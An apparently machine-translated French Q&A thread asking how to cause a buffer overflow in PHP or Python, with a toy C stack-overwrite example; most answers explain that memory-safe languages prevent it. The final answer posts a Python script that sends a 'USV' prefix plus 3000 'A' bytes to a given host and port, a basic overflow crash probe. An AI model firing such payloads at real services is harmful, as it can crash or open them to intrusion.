7
votes

Comment effectuer un débordement de tampon dans PHP / Python?

Voici un exemple en C:

#include <stdio.h>
#include <string.h>

void bad() {
    printf("Oh shit really bad~!\r\n");
}

void foo() {
    char overme[4] = "WOW";
    *(int*)(overme+8) = (int)bad;
}

int main() {
   foo();
}


0 commentaires

6 Réponses :


2
votes

PHP est un langage de script et n'a aucun pointeur et le type de chaîne est de sécurité binaire de telles choses ne fonctionneront pas dans PHP.

Mais pourquoi voudriez-vous faire une telle chose?

(Oh, il peut y avoir des bugs dans PHP, ce qui entraîne un débordement de tampon, mais ce n'est rien qui peut être invoqué de quelque manière que ce soit et qu'il est généralement corrigé assez fade ...)


0 commentaires

1
votes

faire quelque chose de similaire dans PHP n'entraînera pas le même comportement.

php est interprété et vérifie toujours si l'opération que vous effectuez ou non est valide .. Vous ne pouvez donc pas - par exemple - envahir un tampon.


0 commentaires

1
votes

Parce que PHP, Python et chaque langue interprétée doivent d'abord passer par un interprète et vous n'avez pas l'accès complet à la mémoire que ce type de langues ne vous permettra pas de faire une sorte de jeux comme le code que vous avez affiché.


0 commentaires

11
votes

Le fait que Python et PHP soient interprétés comme suggéré par d'autres n'est pas le point. Le point est que la quasi-totalité des API et la sémantique des langues qu'elles exposent sont fortement vérifiées par erreur, ce qui rend impossible d'avoir un comportement non défini exploitable. Même si vous compilez les langues, ce serait toujours impossible. Cela ne signifie pas que vous ne pouviez pas exposer des API dangereuses qui peuvent faire ce que ce soit. En fait, en utilisant le module de Pythons CTYPES, il devrait être possible de créer un comportement similaire, mais de manière significative difficile à faire par accident.


0 commentaires

2
votes

Nous sommes désolés: vous avez atteint une faiblesse en python. Malheureusement, c'est par conception, si peu peut être fait à ce sujet. Peut-être devriez-vous rester avec c.

Comme Martin v. Löwis a déclaré :

Python ne supporte pas les débordements tampons, désolé.

ps wow. Il semble que quelques mois il y a quelques mois, j'ai lu ce poste, et pourtant cela fait 7 ans et une journée.


0 commentaires

0
votes
import sys
import socket

for carg in sys.argv:

    if carg == "-S":

        argnum= sys.argv.index(carg)

        argnum +=1

        host = sys.argv[argnum]

    elif carg == "-p":

        argnum = sys.argv.index(carg)

        argnum +=1

        port = sys.argv[argnum]

buffer = "\x41"* 3000

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,port))

s.send("USV" + buffer)

s.close()

0 commentaires